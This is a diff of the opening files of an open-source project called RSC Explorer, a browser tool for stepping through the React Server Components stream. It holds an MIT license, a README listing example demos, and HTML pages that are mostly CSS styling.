+21
LICENSE.md
+21
LICENSE.md
···
1
+
MIT License
2
+
3
+
Copyright (c) 2025 Dan Abramov
4
+
5
+
Permission is hereby granted, free of charge, to any person obtaining a copy
6
+
of this software and associated documentation files (the "Software"), to deal
7
+
in the Software without restriction, including without limitation the rights
8
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+
copies of the Software, and to permit persons to whom the Software is
10
+
furnished to do so, subject to the following conditions:
11
+
12
+
The above copyright notice and this permission notice shall be included in all
13
+
copies or substantial portions of the Software.
14
+
15
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+
SOFTWARE.
+47
README.md
+47
README.md
···
1
+
# RSC Explorer
2
+
3
+
A tool for educators and thinkerers curious about the React Server Components (RSC) protocol.
4
+
5
+
[RSC Explorer](https://rscexplorer.dev/) runs both the Server and the Client parts of RSC in the browser.
6
+
7
+
It lets you inspect the RSC stream step by step and observe the React tree that is being streamed at every step. It also hosts some examples that showcase how React Server and Client features can interplay.
8
+
9
+

10
+
11
+
This is a hobby project and is not affiliated with or endorsed by any person, living or dead.
12
+
13
+
## Examples
14
+
15
+
* [Hello World](https://rscexplorer.dev/?s=hello)
16
+
* [Async Component](https://rscexplorer.dev/?s=async)
17
+
* [Counter](https://rscexplorer.dev/?s=counter)
18
+
* [Form Action](https://rscexplorer.dev/?s=form)
19
+
* [Pagination](https://rscexplorer.dev/?s=pagination)
20
+
* [Router Refresh](https://rscexplorer.dev/?s=refresh)
21
+
* [Error Handling](https://rscexplorer.dev/?s=errors)
22
+
* [Client Reference](https://rscexplorer.dev/?s=clientref)
23
+
* [Bound Actions](https://rscexplorer.dev/?s=bound)
24
+
* [Kitchen Sink](https://rscexplorer.dev/?s=kitchensink)
25
+
* [CVE-2025-55182](https://rscexplorer.dev/?s=cve)
26
+
27
+
## Embedding
28
+
29
+
You can embed RSC Explorer onto a page. Press the `< >` button in the top bar for the embed code.
30
+
31
+
## Development
32
+
33
+
Key design decisions to keep in mind:
34
+
35
+
- The Server part runs in a worker.
36
+
- We try to approximate a real RSC environment as much as we can (while staying in browser).
37
+
- No dependencies on React internals. We use `react-server-dom-webpack` and shim the Webpack runtime.
38
+
- No dependencies on the protocol format. We display it, but treat it as an implementation detail of React.
39
+
- Only end-to-end tests.
40
+
41
+
This is fully vibecoded but heavily steered so individual pieces may be weird or suboptimal.
42
+
43
+
Improvements welcome.
44
+
45
+
## License
46
+
47
+
MIT
+48
embed.html
+48
embed.html
···
1
+
<!DOCTYPE html>
2
+
<html lang="en">
3
+
<head>
4
+
<meta charset="UTF-8">
5
+
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
6
+
<title>RSC Explorer Embed</title>
7
+
<style>
8
+
* {
9
+
box-sizing: border-box;
10
+
}
11
+
:root {
12
+
--bg: #1a1a1a;
13
+
--surface: #242424;
14
+
--border: #333;
15
+
--text: #a0a0a0;
16
+
--text-dim: #666;
17
+
--text-bright: #e0e0e0;
18
+
--font-mono: 'SF Mono', 'Fira Code', 'JetBrains Mono', Menlo, monospace;
19
+
}
20
+
html, body {
21
+
margin: 0;
22
+
padding: 0;
23
+
height: 100%;
24
+
overflow: hidden;
25
+
position: fixed;
26
+
width: 100%;
27
+
top: 0;
28
+
left: 0;
29
+
}
30
+
body {
31
+
font-family: -apple-system, BlinkMacSystemFont, 'Inter', sans-serif;
32
+
background: var(--bg);
33
+
color: var(--text);
34
+
border-radius: 8px;
35
+
}
36
+
#embed-root {
37
+
display: flex;
38
+
flex-direction: column;
39
+
height: 100%;
40
+
overflow: hidden;
41
+
}
42
+
</style>
43
+
</head>
44
+
<body>
45
+
<div id="embed-root"></div>
46
+
<script type="module" src="/src/client/embed.jsx"></script>
47
+
</body>
48
+
</html>
+1146
index.html
+1146
index.html
···
1
+
<!DOCTYPE html>
2
+
<html lang="en">
3
+
<head>
4
+
<meta charset="UTF-8">
5
+
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
6
+
<title>RSC Explorer</title>
7
+
<style>
8
+
* {
9
+
box-sizing: border-box;
10
+
}
11
+
:root {
12
+
--bg: #1a1a1a;
13
+
--surface: #242424;
14
+
--border: #333;
15
+
--text: #a0a0a0;
16
+
--text-dim: #666;
17
+
--text-bright: #e0e0e0;
18
+
--font-mono: 'SF Mono', 'Fira Code', 'JetBrains Mono', Menlo, monospace;
19
+
}
20
+
html, body {
21
+
margin: 0;
22
+
padding: 0;
23
+
height: 100%;
24
+
overflow: hidden;
25
+
position: fixed;
26
+
width: 100%;
27
+
top: 0;
28
+
left: 0;
29
+
}
30
+
body {
31
+
font-family: -apple-system, BlinkMacSystemFont, 'Inter', sans-serif;
32
+
background: var(--bg);
33
+
color: var(--text);
34
+
}
35
+
header {
36
+
height: 44px;
37
+
padding: 0 16px;
38
+
display: flex;
39
+
align-items: center;
40
+
gap: 12px;
41
+
border-bottom: 1px solid var(--border);
42
+
background: var(--surface);
43
+
flex-shrink: 0;
44
+
position: relative;
45
+
z-index: 100;
46
+
}
47
+
h1 {
48
+
margin: 0;
49
+
font-size: 13px;
50
+
font-weight: 600;
51
+
color: var(--text);
52
+
}
53
+
.example-select-wrapper {
54
+
display: flex;
55
+
align-items: center;
56
+
gap: 10px;
57
+
margin-left: 16px;
58
+
padding-left: 16px;
59
+
border-left: 1px solid var(--border);
60
+
}
61
+
.example-select-wrapper label {
62
+
font-size: 11px;
63
+
color: var(--text-dim);
64
+
text-transform: uppercase;
65
+
letter-spacing: 0.5px;
66
+
}
67
+
header select {
68
+
-webkit-appearance: none;
69
+
appearance: none;
70
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a);
71
+
border: 1px solid #555;
72
+
color: #fff;
73
+
padding: 5px 28px 5px 10px;
74
+
border-radius: 4px;
75
+
font-size: 13px;
76
+
font-weight: 500;
77
+
cursor: pointer;
78
+
min-width: 150px;
79
+
box-shadow: 0 1px 2px rgba(0,0,0,0.2);
80
+
}
81
+
header select:hover {
82
+
border-color: #666;
83
+
background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333);
84
+
}
85
+
header select:focus {
86
+
outline: none;
87
+
border-color: #ffd54f;
88
+
}
89
+
header .save-btn {
90
+
background: var(--surface);
91
+
border: 1px solid var(--border);
92
+
color: var(--text);
93
+
padding: 5px 8px;
94
+
border-radius: 4px;
95
+
cursor: pointer;
96
+
display: flex;
97
+
align-items: center;
98
+
justify-content: center;
99
+
}
100
+
header .save-btn:hover:not(:disabled) {
101
+
border-color: #444;
102
+
background: #2a2a2a;
103
+
}
104
+
header .save-btn:disabled {
105
+
opacity: 0.4;
106
+
cursor: not-allowed;
107
+
}
108
+
header .embed-btn {
109
+
background: var(--surface);
110
+
border: 1px solid var(--border);
111
+
color: var(--text);
112
+
padding: 5px 8px;
113
+
border-radius: 4px;
114
+
cursor: pointer;
115
+
display: flex;
116
+
align-items: center;
117
+
justify-content: center;
118
+
}
119
+
header .embed-btn:hover:not(:disabled) {
120
+
border-color: #444;
121
+
background: #2a2a2a;
122
+
}
123
+
header .embed-btn:disabled {
124
+
opacity: 0.4;
125
+
cursor: not-allowed;
126
+
}
127
+
/* Modal */
128
+
.modal-overlay {
129
+
position: fixed;
130
+
inset: 0;
131
+
background: rgba(0, 0, 0, 0.7);
132
+
display: flex;
133
+
align-items: center;
134
+
justify-content: center;
135
+
z-index: 1000;
136
+
}
137
+
.modal {
138
+
background: var(--surface);
139
+
border: 1px solid var(--border);
140
+
border-radius: 8px;
141
+
width: 90%;
142
+
max-width: 600px;
143
+
max-height: 80vh;
144
+
display: flex;
145
+
flex-direction: column;
146
+
}
147
+
.modal-header {
148
+
display: flex;
149
+
align-items: center;
150
+
justify-content: space-between;
151
+
padding: 16px;
152
+
border-bottom: 1px solid var(--border);
153
+
}
154
+
.modal-header h2 {
155
+
margin: 0;
156
+
font-size: 16px;
157
+
font-weight: 600;
158
+
color: var(--text-bright);
159
+
}
160
+
.modal-close {
161
+
background: none;
162
+
border: none;
163
+
color: var(--text-dim);
164
+
font-size: 24px;
165
+
cursor: pointer;
166
+
padding: 0;
167
+
line-height: 1;
168
+
}
169
+
.modal-close:hover {
170
+
color: var(--text-bright);
171
+
}
172
+
.modal-body {
173
+
padding: 16px;
174
+
overflow: auto;
175
+
}
176
+
.modal-body p {
177
+
margin: 0 0 12px;
178
+
font-size: 13px;
179
+
color: var(--text);
180
+
}
181
+
.modal-body textarea {
182
+
width: 100%;
183
+
height: 250px;
184
+
background: var(--bg);
185
+
border: 1px solid var(--border);
186
+
border-radius: 4px;
187
+
color: var(--text);
188
+
font-family: var(--font-mono);
189
+
font-size: 12px;
190
+
padding: 12px;
191
+
resize: none;
192
+
}
193
+
.modal-body textarea:focus {
194
+
outline: none;
195
+
border-color: #555;
196
+
}
197
+
.modal-footer {
198
+
padding: 16px;
199
+
border-top: 1px solid var(--border);
200
+
display: flex;
201
+
justify-content: flex-end;
202
+
}
203
+
.copy-btn {
204
+
background: #ffd54f;
205
+
border: none;
206
+
color: #000;
207
+
padding: 8px 16px;
208
+
border-radius: 4px;
209
+
font-size: 13px;
210
+
font-weight: 500;
211
+
cursor: pointer;
212
+
}
213
+
.copy-btn:hover {
214
+
background: #ffe566;
215
+
}
216
+
.header-spacer {
217
+
flex: 1;
218
+
}
219
+
.build-switcher {
220
+
display: flex;
221
+
align-items: center;
222
+
gap: 8px;
223
+
padding-left: 12px;
224
+
border-left: 1px solid var(--border);
225
+
}
226
+
.build-switcher label {
227
+
font-size: 11px;
228
+
color: var(--text-dim);
229
+
text-transform: uppercase;
230
+
letter-spacing: 0.5px;
231
+
}
232
+
.build-switcher .mode-select {
233
+
min-width: 70px;
234
+
}
235
+
@media (max-width: 768px) {
236
+
header {
237
+
padding: 0 8px;
238
+
gap: 4px;
239
+
}
240
+
h1 {
241
+
font-size: 11px;
242
+
}
243
+
.header-spacer {
244
+
flex: 0;
245
+
min-width: 0;
246
+
}
247
+
.example-select-wrapper {
248
+
padding-left: 6px;
249
+
margin-left: 2px;
250
+
gap: 4px;
251
+
}
252
+
.example-select-wrapper label {
253
+
display: none;
254
+
}
255
+
header select,
256
+
header select:hover {
257
+
min-width: 0;
258
+
width: auto;
259
+
padding: 4px 20px 4px 6px;
260
+
font-size: 16px; /* Prevents iOS zoom */
261
+
background-position: right 4px center;
262
+
}
263
+
header .save-btn {
264
+
display: none;
265
+
}
266
+
.build-switcher {
267
+
padding-left: 6px;
268
+
gap: 4px;
269
+
margin-left: auto;
270
+
}
271
+
.build-switcher label {
272
+
display: none;
273
+
}
274
+
.build-switcher select {
275
+
min-width: 0;
276
+
}
277
+
main {
278
+
grid-template-columns: 100%;
279
+
grid-template-rows: 1fr 1fr 1fr 1fr;
280
+
}
281
+
.pane:nth-child(1),
282
+
.pane:nth-child(3) {
283
+
border-right: none;
284
+
}
285
+
.pane {
286
+
border-bottom: 1px solid var(--border);
287
+
}
288
+
/* Prevent iOS zoom on all form elements */
289
+
input, textarea, select {
290
+
font-size: 16px !important;
291
+
}
292
+
.raw-input-payload {
293
+
font-size: 16px !important;
294
+
}
295
+
/* Playback controls responsive */
296
+
.playback-container {
297
+
padding: 6px 8px;
298
+
gap: 6px;
299
+
}
300
+
.playback-controls {
301
+
gap: 2px;
302
+
}
303
+
.control-btn {
304
+
width: 26px;
305
+
height: 26px;
306
+
}
307
+
.step-info {
308
+
min-width: 50px;
309
+
font-size: 10px;
310
+
}
311
+
}
312
+
@media (max-width: 480px) {
313
+
header {
314
+
padding: 0 6px;
315
+
gap: 3px;
316
+
}
317
+
h1 {
318
+
font-size: 10px;
319
+
}
320
+
header select {
321
+
padding: 3px 18px 3px 5px;
322
+
font-size: 16px;
323
+
max-width: 80px;
324
+
text-overflow: ellipsis;
325
+
overflow: hidden;
326
+
white-space: nowrap;
327
+
}
328
+
.example-select-wrapper select {
329
+
max-width: 110px;
330
+
}
331
+
.example-select-wrapper {
332
+
padding-left: 4px;
333
+
margin-left: 0;
334
+
border-left: none;
335
+
}
336
+
.build-switcher {
337
+
padding-left: 4px;
338
+
border-left: none;
339
+
}
340
+
/* Playback: hide slider and status, keep buttons compact */
341
+
.step-slider,
342
+
.step-info {
343
+
display: none;
344
+
}
345
+
.playback-container {
346
+
padding: 4px 6px;
347
+
gap: 4px;
348
+
}
349
+
.control-btn {
350
+
width: 24px;
351
+
height: 24px;
352
+
}
353
+
.control-btn svg {
354
+
width: 14px;
355
+
height: 14px;
356
+
}
357
+
}
358
+
@media (max-width: 360px) {
359
+
h1 {
360
+
display: none;
361
+
}
362
+
header select {
363
+
max-width: 75px;
364
+
}
365
+
}
366
+
main {
367
+
flex: 1;
368
+
min-height: 0;
369
+
display: grid;
370
+
grid-template-columns: 50% 50%;
371
+
grid-template-rows: 50% 50%;
372
+
overflow: hidden;
373
+
}
374
+
.pane {
375
+
display: flex;
376
+
flex-direction: column;
377
+
overflow: hidden;
378
+
}
379
+
/* Left column border */
380
+
.pane:nth-child(1),
381
+
.pane:nth-child(3) {
382
+
border-right: 1px solid var(--border);
383
+
}
384
+
/* Top row border */
385
+
.pane:nth-child(1),
386
+
.pane:nth-child(2) {
387
+
border-bottom: 1px solid var(--border);
388
+
}
389
+
.pane-header {
390
+
padding: 6px 12px;
391
+
font-size: 10px;
392
+
text-transform: uppercase;
393
+
letter-spacing: 1px;
394
+
color: var(--text-dim);
395
+
flex-shrink: 0;
396
+
border-bottom: 1px solid var(--border);
397
+
}
398
+
.editor-container {
399
+
flex: 1;
400
+
min-height: 0;
401
+
position: relative;
402
+
overflow: hidden;
403
+
background: var(--bg);
404
+
}
405
+
.editor-container .cm-editor {
406
+
position: absolute !important;
407
+
top: 0;
408
+
left: 0;
409
+
right: 0;
410
+
bottom: 0;
411
+
height: auto !important;
412
+
background: transparent;
413
+
}
414
+
.editor-container .cm-editor .cm-scroller {
415
+
overflow: auto !important;
416
+
}
417
+
.flight-output {
418
+
flex: 1;
419
+
min-height: 0;
420
+
margin: 0;
421
+
padding: 12px;
422
+
font-family: var(--font-mono);
423
+
font-size: 12px;
424
+
line-height: 1.6;
425
+
overflow: auto;
426
+
white-space: pre-wrap;
427
+
word-break: break-all;
428
+
background: var(--bg);
429
+
color: var(--text-dim);
430
+
}
431
+
.flight-output.error {
432
+
color: #e57373;
433
+
}
434
+
.action-args {
435
+
color: var(--text);
436
+
}
437
+
438
+
/* Flight log */
439
+
.flight-log {
440
+
flex: 1;
441
+
overflow: auto;
442
+
padding: 8px;
443
+
display: flex;
444
+
flex-direction: column;
445
+
gap: 6px;
446
+
}
447
+
.log-entry {
448
+
background: var(--surface);
449
+
border: 1px solid var(--border);
450
+
border-radius: 4px;
451
+
transition: all 0.15s ease;
452
+
border-left: 3px solid #555;
453
+
}
454
+
.log-entry + .log-entry {
455
+
margin-top: 12px;
456
+
}
457
+
.log-entry.active {
458
+
border-left-color: #ffd54f;
459
+
}
460
+
.log-entry.done-entry {
461
+
border-left-color: #555;
462
+
opacity: 0.8;
463
+
}
464
+
.log-entry.pending-entry {
465
+
border-left-color: #333;
466
+
opacity: 0.4;
467
+
}
468
+
.log-entry-header {
469
+
display: flex;
470
+
align-items: center;
471
+
justify-content: space-between;
472
+
gap: 8px;
473
+
padding: 6px 10px;
474
+
font-size: 11px;
475
+
border-bottom: 1px solid var(--border);
476
+
}
477
+
.log-entry-direction {
478
+
font-family: var(--font-mono);
479
+
font-weight: 600;
480
+
color: var(--text-dim);
481
+
}
482
+
.log-entry.active .log-entry-direction {
483
+
color: #ffd54f;
484
+
}
485
+
.log-entry-args {
486
+
padding: 6px 10px;
487
+
font-family: var(--font-mono);
488
+
font-size: 11px;
489
+
border-bottom: 1px solid var(--border);
490
+
color: var(--text-dim);
491
+
}
492
+
.action-args-label {
493
+
margin-right: 6px;
494
+
color: var(--text-dim);
495
+
}
496
+
.log-entry-label {
497
+
color: var(--text);
498
+
font-weight: 500;
499
+
}
500
+
.log-entry-count {
501
+
margin-left: auto;
502
+
color: var(--text-dim);
503
+
font-family: var(--font-mono);
504
+
}
505
+
.log-entry-content {
506
+
margin: 0;
507
+
padding: 8px 10px;
508
+
font-family: var(--font-mono);
509
+
font-size: 11px;
510
+
line-height: 1.5;
511
+
white-space: pre-wrap;
512
+
word-break: break-all;
513
+
}
514
+
.log-entry .action-args {
515
+
color: #81c784;
516
+
}
517
+
518
+
/* Action request (args display) */
519
+
.log-entry-request {
520
+
padding: 8px 10px;
521
+
background: rgba(0, 0, 0, 0.2);
522
+
border-bottom: 1px solid var(--border);
523
+
}
524
+
.log-entry-request-args {
525
+
margin: 0;
526
+
font-family: var(--font-mono);
527
+
font-size: 11px;
528
+
line-height: 1.4;
529
+
color: #81c784;
530
+
white-space: pre-wrap;
531
+
word-break: break-all;
532
+
}
533
+
534
+
/* Log entry preview (embedded scrubber) */
535
+
.log-entry-preview {
536
+
border-top: 1px solid var(--border);
537
+
padding: 8px;
538
+
}
539
+
.log-entry-preview-controls {
540
+
display: flex;
541
+
align-items: center;
542
+
gap: 8px;
543
+
margin-bottom: 8px;
544
+
}
545
+
.log-step-btn {
546
+
background: var(--border);
547
+
border: none;
548
+
color: #ffd54f;
549
+
width: 24px;
550
+
height: 24px;
551
+
border-radius: 3px;
552
+
cursor: pointer;
553
+
font-size: 10px;
554
+
display: flex;
555
+
align-items: center;
556
+
justify-content: center;
557
+
}
558
+
.log-step-btn:hover:not(:disabled) {
559
+
background: #444;
560
+
}
561
+
.log-step-btn:disabled {
562
+
opacity: 0.3;
563
+
cursor: not-allowed;
564
+
}
565
+
.log-entry-slider {
566
+
flex: 1;
567
+
height: 4px;
568
+
-webkit-appearance: none;
569
+
appearance: none;
570
+
background: var(--border);
571
+
border-radius: 2px;
572
+
outline: none;
573
+
}
574
+
.log-entry-slider::-webkit-slider-thumb {
575
+
-webkit-appearance: none;
576
+
width: 14px;
577
+
height: 14px;
578
+
background: #ffd54f;
579
+
border-radius: 50%;
580
+
cursor: pointer;
581
+
}
582
+
.log-entry-slider::-moz-range-thumb {
583
+
width: 14px;
584
+
height: 14px;
585
+
background: #ffd54f;
586
+
border-radius: 50%;
587
+
cursor: pointer;
588
+
border: none;
589
+
}
590
+
.value-pending {
591
+
color: #999;
592
+
font-style: italic;
593
+
font-size: 11px;
594
+
}
595
+
.value-loading {
596
+
color: #999;
597
+
font-style: italic;
598
+
}
599
+
.log-entry-step-info {
600
+
font-size: 11px;
601
+
color: var(--text-dim);
602
+
font-family: var(--font-mono);
603
+
}
604
+
.log-entry-flight-lines {
605
+
margin: 0;
606
+
padding: 6px;
607
+
background: var(--bg);
608
+
border-radius: 3px;
609
+
font-size: 11px;
610
+
line-height: 1.4;
611
+
overflow: auto;
612
+
}
613
+
.log-entry-flight-lines .flight-line {
614
+
display: block;
615
+
padding: 6px 8px;
616
+
margin-bottom: 3px;
617
+
border-radius: 4px;
618
+
word-break: break-all;
619
+
white-space: pre-wrap;
620
+
border-left: 2px solid transparent;
621
+
transition: all 0.15s ease;
622
+
}
623
+
.log-entry-flight-lines .flight-line:last-child {
624
+
margin-bottom: 0;
625
+
}
626
+
.log-entry-flight-lines .line-done {
627
+
color: #999;
628
+
background: rgba(255, 255, 255, 0.03);
629
+
border-left-color: #555;
630
+
}
631
+
.log-entry-flight-lines .line-next {
632
+
color: #e0e0e0;
633
+
background: rgba(255, 213, 79, 0.12);
634
+
border-left-color: #ffd54f;
635
+
}
636
+
.log-entry-flight-lines .line-pending {
637
+
color: #444;
638
+
background: transparent;
639
+
border-left-color: #333;
640
+
opacity: 0.4;
641
+
}
642
+
643
+
/* Split layout: left=stream (scrolls), right=tree (dictates height) */
644
+
.log-entry-split {
645
+
display: flex;
646
+
gap: 8px;
647
+
align-items: stretch;
648
+
}
649
+
.log-entry-split .log-entry-flight-lines-wrapper {
650
+
flex: 1;
651
+
min-width: 0;
652
+
position: relative;
653
+
min-height: 150px;
654
+
}
655
+
.log-entry-split .log-entry-flight-lines {
656
+
position: absolute;
657
+
top: 0;
658
+
left: 0;
659
+
right: 0;
660
+
bottom: 0;
661
+
}
662
+
.log-entry-split .log-entry-tree {
663
+
flex: 1;
664
+
min-width: 0;
665
+
display: flex;
666
+
flex-direction: column;
667
+
}
668
+
/* Tree view in log entry - expands to fill height */
669
+
.log-entry-tree {
670
+
flex: 1;
671
+
min-width: 0;
672
+
border-radius: 4px;
673
+
overflow: auto;
674
+
border: 1px solid var(--border);
675
+
}
676
+
.log-entry-tree:has(.flight-tree) {
677
+
background: #000;
678
+
}
679
+
.log-entry-tree.full-width {
680
+
flex: none;
681
+
width: 100%;
682
+
}
683
+
.log-entry-tree .flight-tree {
684
+
padding: 8px;
685
+
font-size: 11px;
686
+
line-height: 1.6;
687
+
}
688
+
.jsx-output {
689
+
margin: 0;
690
+
white-space: pre-wrap;
691
+
word-break: break-word;
692
+
color: var(--text);
693
+
}
694
+
.value-content {
695
+
background: #f8f8f8;
696
+
color: #111;
697
+
font-family: -apple-system, BlinkMacSystemFont, sans-serif;
698
+
padding: 8px;
699
+
border-radius: 3px;
700
+
margin: -8px;
701
+
}
702
+
.value-string { color: #22863a; }
703
+
.value-number { color: #005cc5; }
704
+
.value-boolean { color: #d73a49; }
705
+
.value-null, .value-undefined { color: #6a737d; font-style: italic; }
706
+
.value-key { color: #005cc5; }
707
+
.value-indent {
708
+
display: block;
709
+
padding-left: 16px;
710
+
}
711
+
.value-array-item, .value-object-entry {
712
+
display: block;
713
+
}
714
+
.value-react-element {
715
+
display: inline;
716
+
background: rgba(0, 0, 0, 0.04);
717
+
padding: 2px 4px;
718
+
border-radius: 3px;
719
+
}
720
+
.value-error {
721
+
color: #e57373;
722
+
font-style: italic;
723
+
}
724
+
.value-loading {
725
+
color: var(--text-dim);
726
+
font-style: italic;
727
+
}
728
+
729
+
/* Flight Tree View */
730
+
.flight-tree {
731
+
flex: 1;
732
+
min-height: 0;
733
+
padding: 12px;
734
+
font-family: var(--font-mono);
735
+
font-size: 12px;
736
+
line-height: 1.8;
737
+
overflow: auto;
738
+
background: var(--bg);
739
+
}
740
+
.tree-empty {
741
+
color: var(--text-dim);
742
+
font-style: italic;
743
+
}
744
+
.tree-element,
745
+
.tree-client-component,
746
+
.tree-suspense,
747
+
.tree-lazy {
748
+
margin-left: 0;
749
+
}
750
+
.tree-children {
751
+
margin-left: 16px;
752
+
border-left: 1px solid #333;
753
+
padding-left: 12px;
754
+
}
755
+
.tree-tag {
756
+
color: #e06c75;
757
+
}
758
+
.tree-client-tag {
759
+
color: #c678dd;
760
+
}
761
+
.tree-client-ref {
762
+
color: #5c6370;
763
+
font-size: 10px;
764
+
}
765
+
.tree-react-tag {
766
+
color: #e5c07b;
767
+
}
768
+
.tree-pending {
769
+
display: inline-block;
770
+
color: #64b5f6;
771
+
background: rgba(100, 181, 246, 0.15);
772
+
padding: 2px 8px;
773
+
border-radius: 10px;
774
+
border: 1px solid rgba(100, 181, 246, 0.4);
775
+
font-size: 10px;
776
+
font-weight: 500;
777
+
letter-spacing: 0.5px;
778
+
animation: pending-pulse 2s ease-in-out infinite;
779
+
}
780
+
@keyframes pending-pulse {
781
+
0%, 100% { opacity: 0.7; }
782
+
50% { opacity: 1; }
783
+
}
784
+
.tree-string {
785
+
color: #98c379;
786
+
}
787
+
.tree-number {
788
+
color: #d19a66;
789
+
}
790
+
.tree-boolean {
791
+
color: #56b6c2;
792
+
}
793
+
.tree-null,
794
+
.tree-undefined {
795
+
color: #5c6370;
796
+
font-style: italic;
797
+
}
798
+
.tree-key,
799
+
.tree-prop-name {
800
+
color: #61afef;
801
+
}
802
+
.tree-ref {
803
+
color: #c678dd;
804
+
}
805
+
.tree-object {
806
+
color: var(--text-dim);
807
+
}
808
+
.tree-array {
809
+
/* Arrays render children inline */
810
+
}
811
+
.tree-props {
812
+
color: var(--text-dim);
813
+
}
814
+
.tree-prop {
815
+
color: var(--text-dim);
816
+
}
817
+
.tree-error {
818
+
display: inline-block;
819
+
color: #e57373;
820
+
background: rgba(229, 115, 115, 0.15);
821
+
padding: 2px 8px;
822
+
border-radius: 10px;
823
+
border: 1px solid rgba(229, 115, 115, 0.4);
824
+
font-size: 10px;
825
+
font-weight: 500;
826
+
letter-spacing: 0.5px;
827
+
}
828
+
.tree-pending-tag {
829
+
color: #ffd54f;
830
+
background: rgba(255, 213, 79, 0.1);
831
+
padding: 1px 4px;
832
+
border-radius: 3px;
833
+
border: 1px solid rgba(255, 213, 79, 0.3);
834
+
}
835
+
.tree-error-keyword {
836
+
color: #c678dd;
837
+
font-weight: 600;
838
+
}
839
+
.tree-error-message {
840
+
color: #e57373;
841
+
}
842
+
.tree-function {
843
+
color: #61afef;
844
+
font-style: italic;
845
+
}
846
+
.tree-placeholder {
847
+
color: #444;
848
+
font-style: italic;
849
+
}
850
+
851
+
/* Playback controls */
852
+
.playback-container {
853
+
display: flex;
854
+
align-items: center;
855
+
gap: 10px;
856
+
padding: 8px 12px;
857
+
background: var(--surface);
858
+
border-bottom: 1px solid var(--border);
859
+
}
860
+
.playback-controls {
861
+
display: flex;
862
+
align-items: center;
863
+
gap: 4px;
864
+
}
865
+
.control-btn {
866
+
background: transparent;
867
+
border: none;
868
+
color: var(--text);
869
+
width: 30px;
870
+
height: 30px;
871
+
border-radius: 4px;
872
+
cursor: pointer;
873
+
display: flex;
874
+
align-items: center;
875
+
justify-content: center;
876
+
transition: all 0.1s;
877
+
}
878
+
.control-btn svg {
879
+
width: 16px;
880
+
height: 16px;
881
+
}
882
+
.control-btn:hover:not(:disabled) {
883
+
background: var(--border);
884
+
color: var(--text-bright);
885
+
}
886
+
.control-btn:disabled {
887
+
opacity: 0.3;
888
+
cursor: not-allowed;
889
+
}
890
+
.control-btn.play-btn.playing {
891
+
color: #ffd54f;
892
+
}
893
+
.control-btn.step-btn {
894
+
background: #ffd54f;
895
+
color: #000;
896
+
animation: pulse-step 1.5s ease-in-out infinite;
897
+
}
898
+
.control-btn.step-btn:hover:not(:disabled) {
899
+
background: #ffe566;
900
+
color: #000;
901
+
animation: none;
902
+
}
903
+
.control-btn.step-btn:disabled {
904
+
background: transparent;
905
+
color: var(--text);
906
+
animation: none;
907
+
}
908
+
@keyframes pulse-step {
909
+
0%, 100% { opacity: 1; }
910
+
50% { opacity: 0.7; }
911
+
}
912
+
.step-slider {
913
+
flex: 1;
914
+
height: 4px;
915
+
-webkit-appearance: none;
916
+
appearance: none;
917
+
background: var(--border);
918
+
border-radius: 2px;
919
+
outline: none;
920
+
}
921
+
.step-slider::-webkit-slider-thumb {
922
+
-webkit-appearance: none;
923
+
appearance: none;
924
+
width: 14px;
925
+
height: 14px;
926
+
background: #ffd54f;
927
+
border-radius: 50%;
928
+
cursor: pointer;
929
+
border: none;
930
+
}
931
+
.step-slider::-moz-range-thumb {
932
+
width: 14px;
933
+
height: 14px;
934
+
background: #ffd54f;
935
+
border-radius: 50%;
936
+
cursor: pointer;
937
+
border: none;
938
+
}
939
+
.step-slider:disabled {
940
+
opacity: 0.5;
941
+
}
942
+
.step-info {
943
+
font-size: 11px;
944
+
color: var(--text-dim);
945
+
font-family: var(--font-mono);
946
+
min-width: 60px;
947
+
text-align: right;
948
+
}
949
+
950
+
/* Preview pane */
951
+
.preview-container {
952
+
flex: 1;
953
+
padding: 20px;
954
+
background: #fff;
955
+
color: #111;
956
+
overflow: auto;
957
+
font-family: -apple-system, BlinkMacSystemFont, sans-serif;
958
+
font-size: 16px;
959
+
line-height: 1.5;
960
+
}
961
+
.preview-container h1 {
962
+
font-size: 28px;
963
+
color: #000;
964
+
margin: 0 0 16px;
965
+
}
966
+
.preview-container h2 {
967
+
font-size: 22px;
968
+
color: #000;
969
+
}
970
+
.preview-container h3 {
971
+
font-size: 18px;
972
+
color: #000;
973
+
}
974
+
.preview-container p {
975
+
color: #111;
976
+
margin: 8px 0;
977
+
}
978
+
.preview-container button {
979
+
background: #333;
980
+
color: #fff;
981
+
border: none;
982
+
padding: 8px 14px;
983
+
border-radius: 4px;
984
+
cursor: pointer;
985
+
font-size: 14px;
986
+
}
987
+
.preview-container button:hover {
988
+
background: #444;
989
+
}
990
+
.preview-container .empty {
991
+
color: #999;
992
+
font-style: italic;
993
+
}
994
+
.preview-container .empty.error {
995
+
color: #c0392b;
996
+
}
997
+
.flight-output .empty {
998
+
color: var(--text-dim);
999
+
font-style: italic;
1000
+
}
1001
+
/* Pulsing dots for empty/waiting states */
1002
+
.empty::after {
1003
+
content: '';
1004
+
animation: none;
1005
+
}
1006
+
.waiting-dots::after {
1007
+
content: '...';
1008
+
animation: pulse 1.5s ease-in-out infinite;
1009
+
}
1010
+
